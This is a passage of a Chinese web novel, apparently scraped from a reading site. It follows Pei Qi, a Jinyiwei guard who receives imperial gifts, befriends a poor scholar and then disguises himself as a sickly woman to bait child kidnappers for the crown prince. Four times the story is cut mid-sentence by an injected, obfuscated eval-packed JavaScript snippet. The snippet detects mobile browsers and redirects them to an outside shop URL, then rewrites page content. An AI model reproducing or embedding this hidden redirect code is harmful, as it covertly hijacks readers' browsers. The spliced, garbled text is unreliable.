说吧他们也不敢耽搁,毕竟是皇室派过来的人,让人等着总是不好的,于是几人连忙到了前堂听旨。 为首的正是那天裴期见过的那位“王狗公公”,见到裴期,王公公挑了挑眉。 这小子几天不见是越来越俊了,怪不得皇上过了好几日仍在惦念,甚至连秋猎也心心念念要把裴期给带上。 得想个办法拉拢一下才是,不然放任对方在皇上面前同自己争宠才是真傻了呢。 想到这里他上前想扶起裴期,可他站的地方离裴建的位置太近了,他往前几步,这里自认为是“唯一”有皇室的人青睐的裴建抬起了头,望向王公公。 他认为对方定然是听了五皇子的夸赞。从而不敢轻视自己。 可令他错愕的是,眼前这个太监竟然直接绕过了他,到了后面,将手伸到了裴期面前。 一时之间,他握紧了拳头,脸也红了起来,幸好他刚才没有做出什么大动作,否则现在不知要如何丢人的。 王公公把裴期扶了起来,顺便也对周围的几人说,“哎呦,这是做什么?只是皇上派我将东西送来,又带了一道简单的口谕,不必如此大费周章的。” 裴建低着头,身体有些不自然的僵直,过了一会儿才站起来。 将裴期扶起来之后,王公公又清了清嗓子,“来人,将东西拿过来。” 几位小太监从他后面的门鱼贯而入手里捧着精致的红木托盘,托盘上除了有。前几日皇上承诺要做给他的那几件飞鱼服之外,还有一套华贵的骑射装备,包括精致的马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045184|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞍、马鞭等。 “裴大人,皇上特意命咱家将这些送来,说是秋猎之时,盼着大人能一展身手。皇上对公子可是寄予厚望啊。”王公公满脸堆笑地看着裴期。 听到这句话,祖父的脸上变幻不定神色。 裴母也是一脸震惊。 她竟不知裴期是在什么时候干成了这件大事。 裴建这是更不用说,他面上看着王公公和裴期两人的互动波澜不惊,可实际心里想着什么谁也不知道。 “对了。”王公公像是突然想到了什么一样,“你看我这脑子,居然把这事给忘了,太子也让我跟裴大人带个话,说是之前大人落在太子府上的那件飞鱼服,由于是多年前的制作工艺,修补起来也比较困难,可能要过些时日才能给到您的手上。” 听到太子两个字,裴期又想起了昨晚抄家时拿的那个双环玉,他笑了笑,“请王公公也告诉太子不必心急,衣服我也并不是急用,因此也不用那么麻烦。” 太子?!裴期什么时候竟然还搭上了太子?? 于是在场的人脸色更加精彩纷呈了。 王公公满意地看着裴期,眼神中带着几分赞赏。 他再次清了清嗓子,按照以往的惯例,在做完这些事情之后说一些体面客套的话:“裴大人,皇上和太子对您如此看重,您可要好生为朝廷效力啊。咱家这就回宫复命了。” 说罢,王公公带着一众小太监就要转身离去。 到这时裴母才反应过来,她小声地对裴期说:“快去送送。”皇室的秋猎并不是同平常百姓家一样,出去打个猎物就完了。 于是裴期上前送客。 王公公也乐得跟裴期多说几句话,于是便也让他在旁边了。 快到了门口,王公公有心提点两句,于是左右看了一眼,说, “裴大人不要弄错了,皇室的秋猎并不是同寻常百姓家,一般出去猎个猎物回来就可以了,皇上在这期间定是要看看各皇子们的表现如何的,其他的您自己想就行了。” 他说这句话是有意提点裴期,参加秋猎的人或多或少都带了一点儿立场,有着自己站队的对象。 就算你真的是中立的,谁也不站队,在那种场合下也会非要你选出一个阵营待着的。 可裴期听了这些话,也只是大致地明白了,皇子之间在秋猎之中会互相有竞争,其他的一概没想。 因此,他只是若有所思地点点头,表示自己已经听到了对方所说的话。 同时他也想,若是自己要给太子回礼,又不好专门去找太子,那么秋猎的时候应该是比较好的时机,届时他把那双环玉给带上就行。 王公公看他这样子,以为他已经懂了,便也欣慰地点点头,不错不错孺子可教也啊。 裴期懂了他说的这个话,那么秋猎之时,应该会与太子待在一起,不会惹多少麻烦,若是他不懂这个事情,不小心与其他皇子接触,让太子误会可就不好办了。 说的轻点儿是墙头草,说的重点就是故意安插的眼线了。 于是,脑电波根本不在同一条线上的两人惊人地达成了一致的结论—— 秋猎时,有机会就和太子待着,别接触其他的皇子。 这也说明了,条条大路通罗马这句话是正确的。 到了门口,王公公他们脚一抬就从裴府离开了,可后面还留了个小太监在末尾。 临别之际,王公公特意瞅了一眼这个小太监有没有留在裴府说话,看到对面留下来,他才不着痕迹地满意点了点头。 也不枉费他专门从贵妃娘娘那儿那边要人把这小太监给带出来了,裴期之前就已经救过这个小太监。 若是二人说上了话,以后再相熟了岂不是对自己更加有帮助吗? 这样一个小小的忙并不足挂齿,但可能后续的收益会让他惊喜也不一定呢。 他是乐意做这样的事情的。 裴期只见那小太监左顾右盼,欲言又止,终于才又到了他的跟前。 “大……大人。”小太监有些紧张,脸上还带着一些前几天在宫中受责罚时的淤青。 裴期刚才还没有认出来,这下离得近了,一下子就看出来这是上次在宫宴时倒了自己一身菜汤的那个小太监。 “怎么了?我记得你是上次的那个。”裴期说。 小太监抿了抿嘴说, “裴大人,上次那事是小人连累了你,你竟然能不计前嫌的救小人,小人十分感激,只是一直苦于找不到机会见您,这才耽搁了下来。” “今日小人是特意求了王公公带我一起出来的,您的大恩大德,小人不知道怎样才能还,这是小人的一点心意,望大人收下。” 话说完,他从腰间拿出了一个小小的金锭子,还有一个显然是不知道在哪个宫里当差时赏下来的金簪子。 “裴大人,小人当差这么多年,也只有您把小人当人看了,这,这是小人攒的一点金银,大人要是不放心,可以去把它融成别的东西。” 说着说着,他眼里泛起了泪光。 裴期这才注意到对方的脸上,脖颈上以及其他一些能露出来的地方都有些淤青,他皱了皱眉, “你这是怎么了?” 小太监也不回答,只是说:“裴大人,您是好人,您会平安喜顺一辈子的。” 然后把东西往裴期的怀里面一塞,头也不回地跑了。 15.叫季的是谁(改) 裴期站在门口,手里拿着小太监塞来的东西,看着小太监着急忙慌的跑,最终与王公公所带的太监们汇合他才转身又进了府内。 府中的丫鬟小厮们看似各自忙碌着,可眼神总是不经意地向期那堆赏赐的衣物,看似不经意地慢慢凑过去,目光不时地在衣物上扫过。 祖父和裴建从刚才起就不知道去哪儿了,只有裴母等在他的前边。 她看着这个托盘,裴期也说不上来她脸上是什么表情。 见到裴期过来,她才终于回过神来抹了一把脸说:“小期,这是好事啊,快去试试这个衣服合不合身。” 裴期只回:“就是那天。皇上派了人领我去制衣局,量了身才做的,应当不会有问题。” “那就好,那就好。”裴母抿唇,“小期长大了,无需旁人人的照拂了。” 说了这句话之后,她又停顿了好一会儿,才说了后面的话, “方才我听我那公公说,皇上是有意让你去秋猎?” 裴期点点头,“前几日我便听太子跟我说过了。” "太子?"裴母面露惊讶,继而担忧道, "小期,你从未骑过马、射过箭,此次若毫无准备地去秋猎,怕是会遇到麻烦。" 这句话说的确实是,虽现在仍旧重视君子六艺,也就是礼、乐、射、御、书、数。 可裴期也只是听过、见过从未学过。 裴母沉思片刻,咬了咬下唇,似是下了决心: "我写封信,你拿着去你外祖父府上。你外祖父当年骑射技艺精湛,还曾教导过当今圣上,你去学上几日,应能有所长进。" 毕竟秋猎主要是皇子们展现自身能力的场合,像裴期这样陪同的人只需略通骑射即可。 “外祖?”裴期有些疑惑,他从小到大从未听母亲父亲或任何一人提起过外祖父相关的事,他曾以为外祖父家遭遇了什么变故,因此每个人都不愿提起。 裴母低低地说道:"嗯,你先去当差吧,晚上我把信给你,到时会安排人送你去外祖父府上。" 裴期虽然不解为何裴家与外祖家却多年不相往来。 但还是点头应道:"好的,母亲。" 随后裴母在那几件飞鱼服里面翻了又看,最终拿起了那件青色的飞鱼服递给旁边的小厮,笑着对裴期说: “红色与白色是衬你,可要巡逻时未免太扎眼了些,不如就把这件换上,也好让旁人知道你不再穿父亲荫下来的衣服了。” 裴期同意了,只是他自己拿起了那件衣服,并不叫小厮服侍他,自己去到房里就给换好了。 只是他没想到,自己穿戴好,整理好仪容,准备出门的时候却发现早已有人等在了门口。 原来是之前与裴期一起进行巡逻过的钱苗。 只是锦衣卫巡逻是会轮换的,一般来说并不会叫两人连续两天一起巡逻,他记得今天自己被分到了一个叫严什么的锦衣卫一起。 “你也是,才出来,放在店里的府门口有一群人,怕冲撞到,等了一会儿我们才敢冒头。” 接着他上下扫了一眼裴期。 不愧是皇室出品,看上去就与民间的这些料子不同。 仿佛每一根丝都带着光泽,更不用说因为是量身定制的缘故,该收紧的地方贴身,该放量的地方又飘逸。 暗青色的飞鱼服小袖收腰,愈发衬得裴期腰窄腿长,容貌俊美,比例绝妙。 “嚯,这就是陛下赏你的衣服?真俊啊你,不知又要让多少上京的少男为你倾心了。” 钱苗说完,眉心猛地一跳,暗叫不好,他竟一时疏忽,忘记旁边还有旁人,这话说得实在显得裴期有些孟浪。 他赶忙瞟了一眼旁边的人,见对方似乎没什么反应,这才松了口气。 裴期转头看去,发现是之前在路边摊遇上过麻烦的那个举子,此时他正抱着一个黑黝黝的小坛子站在那里。 见到裴期的时候,他的眼神明亮起来,高声喊道:“裴大人!” “你怎么在这儿?”裴期说。 “我本来想因上次的事情谢谢您,可不知道如何联系你,于是去了锦衣卫的门口等,遇到了这位大人才把我带到这儿来。”他朝旁边的钱苗看了一眼。 “是啊,这小子谁也不问,就直愣愣地杵在锦衣卫司的门口等着,我本来还不想说认识他”钱苗说。 “同僚们都快围起来了才找千户申请了换班,同你一起巡逻,好顺带把他带过来。” 现在朝廷上的那些清流们都自诩着清高廉洁,都想与锦衣卫这种鹰犬划清界限。 锦衣卫们受了歧视,当然也不甘示弱,也要同那些文官们彻底断交。 像裴期这种弟弟是探花的,要不是受皇上赏识,进了锦衣卫肯定还有许多同僚不肯同他说话。 因此,锦衣卫的门口站着一个举子模样的人,别提看上去多诡异了。 钱苗当场就把杨明给拉走了。 听钱苗说完,杨明就想把手里的那个黑坛子递给裴期,但在门口看着的那个小厮没让裴期动手,帮着把坛子给收了起来。 “这是我母亲做的,扬州那边的酱菜。”杨明说,他不好意思地说 “一路赶考,又刚在上京给母亲支了个小摊子,现在实在囊中羞涩,裴大人莫怪。” “没事。”裴期摆了摆手, “本来就没有想着要你报答些什么,再说来,若是你中了进士,日后说不定是我要称你大人呢。” 这话倒没错,锦衣卫除非是干到指挥使那一类的职位,像是裴期这样的,终究确实是没有那些正儿八经的官员一样的地位。 “那还得考了再说呢。”杨明笑着看裴期。 “走了,走了,时间要到了,快去当差了。” 钱苗这次不揽裴期了,改成勾住了杨明的肩。 开玩笑,要是有的选,他是绝对不会让自己和裴期这张俊脸离得太近的。 “方才来的路上我问过了,杨明家的小摊子恰好在我们巡逻的路上,我们可以一起去看看。” 杨明被勾住一下显然是有些惊于锦衣卫这豪放又自来熟的表达方式,反应了一会儿他才点点头,“嗯嗯。” 说罢,几人便离开了裴府,朝他们要巡逻的地方走。 三人结伴而行,一路上杨明小心地看着周围,对上京的繁华景象有些目不暇接。 “话说回来。”钱苗总是闲不住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085889|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你在锦衣卫司的门口等了那么久,就没想过,若是裴期去干别的差事,不回锦衣卫司了,你一整天都等不到裴期怎么办呢?” “那就第二天再去等。”杨明说。 “要是第二天也不在呢?” “那就等三天。” “第三天也不在。” “那就继续等。” 杨明说话有一股轴劲, “从很小之时,我就知道有志者事竟成,我本来一直科举不顺,想着不读书了,回家去种田,可家中田地房屋忽然都遭了大火,只留下了我的母亲活下来,后来我咬牙一边抄书一边考试,终究考上了。” 说到这里,他像是想到了什么,有些不好意思地挠了挠自己的脸颊。 “其实我这次找来,也并不全是只为了感谢,只因见了裴兄便觉十分一见如故。” 钱苗听到这话就笑出声了,刚想打趣什么,忽然又想起昨晚抄家时发生的事。 这下钱苗有些笑不出来了,他颇有些狐疑地看了看裴期,又看了看杨明,他问:“等一下,你的表字里,该不会带了个‘季’字吧?” “没有。”杨明不明所以地回答。 “那就好,那就好。”钱苗拍了拍胸脯松了口气。 今早他明明可以在家里休息的,却提前去了锦衣卫司, 为的就是查证周围是否有人名字里带“季”的。 结果是锦衣卫里边儿同僚叫这个的,一点儿意思没有。 那就只剩下外面认识的了。 那会是谁呢? —— 与此同时,在裴府里,见到门口那小厮往府内搬那一坛黑乎乎的酱菜的时候,恰巧遇到了推着祖父的轮椅刚从书房里出来的裴建。 他问,“这是什么东西?怎么什么东西都往厨房里面放?” 小厮有些委屈,但面对的是眼前这位爷,他也不敢说话,“是大爷的朋友送的,说是什么扬州酱菜。” 祖父皱皱眉,“也不知在外面认识了什么狐朋狗友,竟然把这种便宜东西弄到家里来了。” 裴建看了祖父一眼,没说什么反驳的话,只是又对着小厮随口问:“是什么人送来的?” “回二公子的话,听他们说似乎是个举人送来的。” “哼,他当锦衣卫,哪会有举人愿意同他结识?再说了,离会试可足足还有好几月,怎会有举人这么早就来了?怕不是不知道哪儿来的,只读了几句的家伙冒充。” 裴建说, “祖父,您消消气,虽然这样干的举子少,可保不准真有这么做的呢?” “我看就算是真举子,也不过是想通过裴期,来巴结你这个要进考试院的人而已。” “放心祖父,我有分寸,自是不会干泄题这种事情的。”接着他又随口问了一句,“是举子,他们可说叫什么名字?” 小厮回忆了一会儿才说,“叫,杨明。” 不知为何,裴建听到这个名字便一下子愣在原地,半晌都没有动静。 他的祖父握住了他的手关切地问:“子兼,你怎么了?” 裴建这才回过神来,笑了一下,“没事,可能只是最近有些累罢了。” 16.女装 虽是秋日下午却不知为何这几日忽然闷热,秋老虎舔着裴期的侧身,让他们三人额头上都沁出了一点儿汗。 一般来说锦衣卫的日常巡逻威慑效果是大于真的捉贼的,毕竟普通贼人见到锦衣卫的那架势,首先胆子就小了三分,哪还敢在眼皮子底下动手? 可今日他们似乎就遇到了胆子格外大的。 裴期捏了捏旁边的钱苗。 他正在逗杨明说话,突然被捏了一下,他反应之后回头。 见到了裴期难得的朝他使眼色,他顺着对方的目光的方向望去。 只见一个相貌与打扮都十分普通的男人,他手里拿着一块丝帕,站在卖糖人的摊子旁边和摊主的小孩儿说话。 摊主生意极好,此时也顾不上照看旁边的小孩,一个劲的给顾客做糖人,收钱找钱。 然后那男人就趁着所有人都不注意的一瞬间,以迅雷不之势以手里的丝帕捂住小孩儿的口鼻。 小孩儿只是挣扎了不到一瞬间便陷入昏迷。 随即这男人抱起小孩儿左右张望了一番,默默地流入人群之中,准备离去。 裴期见势不对,也不同旁边的二人商量了三步并作两步跑上去,一把揪住那人脖颈处的衣物将他拎了起来。 “你在干什么?”裴期皱眉大声斥责。 随着他的动作后面的钱苗也后知后觉的跟着跑了过来,把贼人手里的小孩儿给接了过来。 不是说已经铲除了这个团伙吗?为何现在今天青天白日的,还是在锦衣卫的巡逻下,居然还有人敢这样? 裴期眉头紧锁。 这边动静大,不过一会儿,街上的小摊客人都围了过来。 之前锦衣卫办案是不敢有人轻易上前的,可前几天裴期的事情传了出去。 也不知道是怎么传的,现在这些人居然诡异地对锦衣卫多了点儿亲近的意思。 连带着其他巡逻的锦衣卫也沾了光,巡逻时不再面对那些仇恨的目光,转而变成了亲切了。 有的甚至还会接到一星半点儿的投喂。 这些百姓们见到钱苗手里抱着的小孩儿和裴期拎着的那人,他们瞬间明白,这人可能就是最近城中孩子失踪的罪魁祸首的其中一员。 “妈的!偷小孩儿偷到我们眼皮子底下来了,街坊们,打死他!” “幸好这位大人在!不然还真被他得逞了!” 他们义愤填膺地拿着手里一切能够使用的东西去攻击被裴期捉住的这人。 裴期虽然力大,可也不好伤及普通民众,只能一边让着这些人,一边努力的抓住贼人的衣服往外面扯。 忽然,从人群的外边走来,一群穿着像禁军的人, “禁军拿人,都让开!” 眼看着禁军来了,地上的拐子也进气多出气少,这些人才散开,各自回到了自己本来的位置。 就在这时,钱苗怀中的那个小孩儿突然睁开了眼,他皱着眉,眼中带着一股不属于小孩儿的成熟劲。 话一出口,裴期愣了。 因为这声音一点儿也不像小孩儿,反倒像是个三四十岁的中年男人。 “啧,差点儿就成功了,是不是太子有召?” 禁军的首领点了点头,随后又对着旁边站着的裴期说:“太子殿下有请。” 接着,顺着禁军侧身的方向,裴期看到隔壁酒楼的二楼帘子后面,伸出来一只骨节分明的手。 那只手抓住帘子往旁边一拉,便露出了那张熟悉的脸。 太子对他笑了一下,又勾了勾手示意他上来。 裴期这才后知后觉,自己好像搞砸了什么重要的计划。 他的心里微微一沉。 随后禁军又对着旁边的钱苗和杨明说:“二位不必惊慌,我等会派出二人随二位一起巡逻,并且送这位举人回家。” 看样子这人是十分了解在场所有人。 钱苗毕竟虽然家里有钱,却从未与这种皇亲国戚近距离接触过,此时见到这场景,他跟之前宫宴一样,嘴跟黏住了一样,说不出话来。 倒是杨明上前问裴期,“裴兄,你还好吧?” 那架势,好像是裴期说一声不好,他就能立马陪裴期一起进去分一半的罚一样。 裴期摇了摇头,“你们先走,不必为我在此浪费时间,我与太子相熟,应不会有事,今日只是我闯了祸,不能连累你们。” 随后他转身,跟随禁军一起踏进酒楼。 自从进入酒楼的每一步,都十分沉重,以至于这酒楼那香味绝佳的招牌爆炒鳝鱼丝的香味飘了过来,他也无动于衷。 嘎吱嘎吱地踏过木质楼梯,到了二楼,禁军敲了敲一间雅间的门,然后恭敬地说:“太子殿下。” 然后咯吱一声,是太子身边经常服侍的一位太监开了门。 裴期走进去,太子,指挥使,以及一些不认识的人坐在里边屏风遮挡住的内部。 他想起,这酒楼除了吃饭以外还附赠唱曲的服务,这屏风就是用于隔开客人和唱曲的。 只是太子一行人在这里边并没有让人过来唱曲。 裴期低着头,他声音有些沉,“殿下,指挥使。” “你来了,别站着,过来坐。”李稷的声音隔着屏风传了过来。 裴期缓缓地走到了屏风前,他走到了最边缘的那个椅子旁边站着,并没有坐下。 此时他才算是穿过了屏风,看到了在场所有人的表情。 指挥使看上去有些怒气,可顾忌着旁边的太子,没有当场发作, “我记着按照巡逻的时间,你应该半个时辰之后才到这儿来,怎会刚好出现在这儿?” 裴期回答:“出府的时候遇到熟人,便想着顺道和他一起。” 指挥使将手里的茶杯给放到了桌子上,发出“咚”的一声响。 裴期抿了抿唇。 旁边有人只说:“这些贼人每次上街掳人的时候是必须要寻个人带走的,可惜再难寻这样的会武功的侏儒,若是让其他人作为诱饵,又未免有些太危险。” “唉,不抓到他们的那个主使,彻底根除了他们,无论我们抓多少次,他们都会死灰复燃的。” 李稷看着裴期,默不作声的抿了一口茶,随后才说, “罢了,其实也不是他故意的,我们再另做打算。” “如何另做打算?”旁边的人显然是有些不满,“好不容易才打听他们今日会上街掳人的行踪。” 裴期听着,心情愈发低沉,半程过后他才下定了决心说,“殿下,让我来,我可以补救。” “你?”李稷挑眉,上下看了一眼裴期,“你想如何补救?” 裴期不擅长去思考那些弯弯绕绕的,此刻他的心中也只有最直最愣的法子,“我扮作妇人,作为诱饵,他们伤不了我。” 听到这话,旁边的人瞪大了双眼,差点把嘴里的茶水给喷出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098693|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指挥使上下看了一眼裴期,摇摇头说:“你身量太高,他们喜欢掳掠一些美人和小孩。” 李稷却没有第一时间反驳,他看了裴期一会儿,然后说, “是高了些,可长得不错,穿上一套衣服,在佐以一点脂粉,未必不能成功。” 从救回来的那些人口中,他们知道—— 这群人抓人都喜欢抓美的,越是好看越是美越好。 也就是说,只要够美,其他的健康与否都是其次。 “殿下,这……恐怕不妥。” 指挥使皱眉道,他虽然气裴期破坏了计划,可还是将属下的性命放在心上, “如此短的时间里能不能实现这个计划都是其次,裴期是锦衣卫,若是身份暴露,恐有性命之忧,而且此举太过冒险。” 李稷没回,只是看着裴期。 裴期坚定道:“指挥使不必担心,我愿意。” 他话音一落,太子身边的那个太监就极有眼力见的吩咐旁边的人说:“去,给裴大人找件和他身的衣裙。” 这个酒楼既然有唱曲的那这些衣服应是不难找。 “是。”听了太监的吩咐,旁边就有人出门去找。 众人一时之间陷入沉默,过了一会儿才有人率先说,“那么,我先去重新布置一下。” 方才一来,计划全被打乱,既然是要重启计划,那么盯着的,扮做普通路人和摊主的人自然要重新布置。 其他的人听到之后也觉得有道理,纷纷告辞去重新进行布置。 虽然此计划看样子实行起来颇为困难,可万一也不一定呢。 只是找一件衣服,下面的人效率十分高,不过一会儿,一件纯白带着浅蓝装饰的衣裙被送了上来。 这时的房间里只剩下了裴期和太子二人,衣裙送到了这里。 裴期不想耽搁时间,立即把身上的衣服褪了下来。 不一会儿他就只剩下了那件里衣。 在他的心中,他和太子两人都是男子,在人家面前换衣服也没什么不对的。 可李稷却不这样想。 自从裴期脱下第一件衣服之后,他就眯了眯眼睛。 果然还是这样吗? 在这样的情况下也没忘了背后那不知道何人交代的事,没忘了要引诱自己的事。 裴期抓起旁边的衣裙往身上套,只可惜他从未穿过女装,这件衣服又是比较复杂的款式,他身上的带子和裙子系错了好几个地方。 “你穿错了。”李稷说,他心中发笑,好拙劣的手段,自己便如他的愿,看他想做什么, “要孤帮你吗?” 裴期正愁不知道怎么系腰间的那根衣带。 听到这话,他欣然转身,走到了太子的跟前。 他伸出双手撑在了李稷坐着的椅子两侧,将腰间的衣带正好放在李稷伸手就可以够到的地方。 “殿下,麻烦了。” 散开的头发随着裴期的动作一下下地挠着李稷的手背。 他神情仔细认真,看着那两条在李稷腿正上方摇晃的衣带。 微长的睫毛扇动,确实是很困扰的模样。 因为裴期突如其来的动作,李稷顿了一下。 随后他又恢复了风轻云淡的模样,勾着嘴角,伸手拽住浅蓝色的衣带。 裴期的腰被李稷的手部动作带着往前。 “裴卿,看好了,应该这么系,以后可别忘了。” 17.龙阳断袖 李稷仍旧坐在椅上,他身体微微前倾,一双手捏着衣带,环过裴期的腰,在裴期的后腰将衣带交叉,然后又将衣带拉回来,在裴期的前腰系成了一个纽。 裴期认真地看着衣带是如何在李稷骨节分明的手指之间翻绕,隐约之间,他似乎感觉到熟悉的香气来了又去。 “殿下,您很香。”裴期抬头,诚实地说。 李稷动作一顿,随即也看向裴期。 两人视线汇在一起。 裴期并不知道对方现在心里是在想些什么。 只感觉香味似乎愈发浓了。 忽然,“啪嗒”一声。 二人齐齐朝声音传来的地方望去。 只见门口站着那位为裴期找来衣服的小太监,他的身边还带了一个有些瑟瑟发抖的柔弱男人。 而地上掉的正是一些胭脂一类的上妆工具。 见到二人望过来,那小太监忙不迭地跪倒在地上。 “殿下恕罪,殿下恕罪,奴实在是不知道打扰了殿下!” 说着他伸出手去扯旁边男人的衣角,小声说:“快点,跪着,跪着,请罪!” 旁边那个男人好像是被吓傻了,只是一味的发抖,看这两人,他一动不动的,一句话也说不出来。 这算是皇室辛秘吗? 古往今来,有几个人刺探了皇室辛秘能够得善终的? 单是一个裴府,就是他们这些人惹不起的,更何况,更何况,还是太子是龙阳断袖这样的大事!! 事到如今,他们自挖双眼,以头撞柱,然后说自己失忆了,他们什么也没看到,能保住一条命吗? 李稷眉头微皱,眼里闪过一丝不悦,却还是在片刻后便舒展眉眼,换上了以往的那副温和的表情:“起来吧,无事。” 裴期睁了睁眼睛,并不知道二人为什么如此恐慌,于是他上前扶起两个人来,“这是做什么?殿下只是帮我穿了一下衣裙,你们并未打扰什么。” 穿衣裙!!! 太监和妆师更加惶恐,殿下如此尊贵的身份,自小到大从未服侍过别人穿衣。 在什么情况才会帮别人穿衣服呢?这难道不是效仿民间夫妻的情趣吗? 他们看着裴期,十分不可置信,与皇上见面的第一日便让皇上赐了飞鱼服,现如今更是得了太子的宠爱。 皇室的一对父子,如此短的时间便被拿捏的死死的。 这,这,他一定是有什么狐媚惑上的秘籍!得之可以飞黄腾达!! 李稷在裴期的身后说,“不要浪费时间。” 小太监与妆师这才如蒙大赦一般动了起来。 装饰弯腰捡起了地上的工具,将裴期按在了椅子上。 妆师左右观察了一下裴期的五官,眼睛里有些惊喜的神色。 方才他还担心这大人万一长得粗犷,自己画不好要受罚呢。 “大人,您的五官不算难画,只肖将眉头抬起来些,再将脸色唇色压白,便是十足的病美人了。” 裴期点点头,闭上了眼睛,“劳驾。” ……以及不知道是不是他的错觉,总感觉小太监看他的眼神十分狂热。 妆刷在他的脸颊轻柔地扫,他有些不太习惯这种被摆弄的感觉。 李则靠在椅背上,神色懒又带着几分专注,视线一直落在裴期身上。 妆师的动作细致,只见他轻轻蘸取了一些白-粉,在裴期的面颊细细涂抹,又拿起眉刷蘸了黑色的粉,小心地勾勒着裴期的眉形,让原本英气的眉毛多了几分柔弱之态。 随后,他挑选了一支淡色的唇脂,轻轻点在裴期的唇上,那原本淡红的唇瞬间变得苍白,透着病气。 若是忽略那双过于男气的手,倒活脱脱是一位病美人了。 妆师退后一步,审视着自己的作品,满意地点点头:“大人,好了。” 裴期缓缓睁开眼,只见在他上妆的过程中,其他人已将他作为诱饵时需要用到的道具尽数搬了过来。 只是不知为何这些人看他的眼神,都带了些古怪。 屋内没有铜镜,他也不想浪费时间,于是他站起身来,问,“我该如何做?” 这些人见到裴期站起来比自己还高的身量。 又听到了裴期那让人绝对不会认错性别的音色。 他们纷纷回过神来,一副幻想破灭的样子。 “你跟我来自然就知道了。”其中一个人叹了口气,说。 接着…… 上京的街道上,熙熙攘攘的小摊之间,出现了一个卖字的摊子。 摊主胡子已经花白了,他双手发抖把一些字迹秀气的诗句,对联放在了桌子上。 而他的身边则是一位着白衣的病美人,“她”头上戴着一朵白花,坐在一把稍低的椅子上,布毯覆盖着“她”的腿部。 “她”手里拿着一张帕子,虚虚地放在唇边,遮住了下半张脸。 “咳咳”的咳嗽声传来,蹙着的眉带着无尽的哀怨。 旁边有人好奇便上来问,“大爷,这是怎么回事?你们是在卖什么?” 那位胡子发白的老头便说:“这是我孙女,‘她’先天不足,母亲难产而亡,前几日父亲又去世,我们爷孙没办法便出来卖字。” 周围人听了老头的话,纷纷露出同情之色。有人小声嘀咕着这姑娘真是可怜,还有人往放着诗句和对联的桌子上放了几枚铜板。 但都被老头婉拒。 裴期低垂着眼眸,尽力配合着这场表演。 他时不时轻咳几声,那柔弱的姿态让不少路人驻足。 这时,一个富家公子模样的人走上前来,他上下打量了裴期一番,眼中露出惊艳。 他对老头说道:“你这孙女生得如此标志,卖字能得几个钱?不如跟了我,保你们爷孙后半辈子衣食无忧。” 裴期眉头一皱,不知道如何面对这突发状况,他刚想说什么,却又记起了自己的身份,于是他左也不是,右也不是,十分纠结。 李稷在不远处的茶楼上看着这一幕,他笑了一声,觉得十分有趣。 旁边的小太监跟在旁边小心翼翼的观察着李稷的神色。 “要不这样?本少爷怜香惜玉,美人亲手写几个字,一个字一贯钱,本少爷买下。” 他嘿嘿地笑着。 若是写几个字便能打发走的这人那倒好,可裴期偏生来到古代之后,连一篇完整的文章都没有写过。 如今贸然写岂不是会露馅? 他皱着眉,有些犯难。 那富家公子却已经把宣纸摊开来,又将毛笔放在了旁边。 “就写:宿夕不梳头,丝发披两肩,婉转郎膝上,何处不可怜?” 这是六朝乐府里有名的露骨诗词。 如今堂而皇之地说出来,充斥着羞辱之意。 裴期眼神冰冷,心中已燃起怒火。 可扮演他爷爷的那位老人却抓住了他的手不着痕迹地往前望。 裴期顺着对方的眼神望去,只见那边出现了一高一矮的两个身影。 他思索了一下,然后忽然反应过来,这两人应该就是贼人的同伙,今天没抓到方才的那“孩童” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120894|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有东西献给“仙人”,如今便要找了别的东西顶上去! 裴期神色一沉。 此街道隔几个真正百姓开起来的小摊便有好几个锦衣卫的眼线。 此时,听着一高一矮的两个人商量的声音格外清楚。 这位高的长得瘦,有点像竹竿,这位矮的又胖,像窝瓜。 只见高的对矮的说,“你看那个卖字的怎么样?” 矮的眯起了他那眯缝似的眼睛,“不错是不错,可毕竟是成人,我们今日出来只有三个人,还有一个在别的地方被抓了,就凭我们两个恐怕难办。” 